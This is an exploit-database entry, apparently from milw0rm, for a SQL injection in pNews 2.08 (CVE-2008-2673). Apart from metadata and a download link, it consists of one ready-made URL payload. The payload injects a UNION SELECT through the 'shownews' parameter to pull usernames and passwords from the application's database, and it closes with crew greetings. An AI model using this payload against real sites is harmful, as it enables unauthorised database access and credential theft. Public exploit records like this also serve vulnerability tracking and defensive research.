pNews 2.08 - 'shownews' SQL Injection

Author: Cr@zy_King
type: webapps
platform: php
port: 0
date_added: 2008-06-08
date_updated: 2016-12-05
verified: 1
codes: OSVDB-46051;CVE-2008-2673
tags: 
aliases: 
screenshot_url: 
application_url: 

pNews 2.08 Remote SqL Ä°nj. VuLn.

OrginaL : http://biyosecurity.com & http://coderx.org

Cr@zy_King / sqL L0v3r'Z Crew Co. 2008

Script Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=

http://localhost/index.php?shownews=2'+UNION+SELECT+1,2,username,4,pwd,6,7,8,9,10,11,12+FROM+table/*

Greatz : aLL My Friends :P

# milw0rm.com [2008-06-09]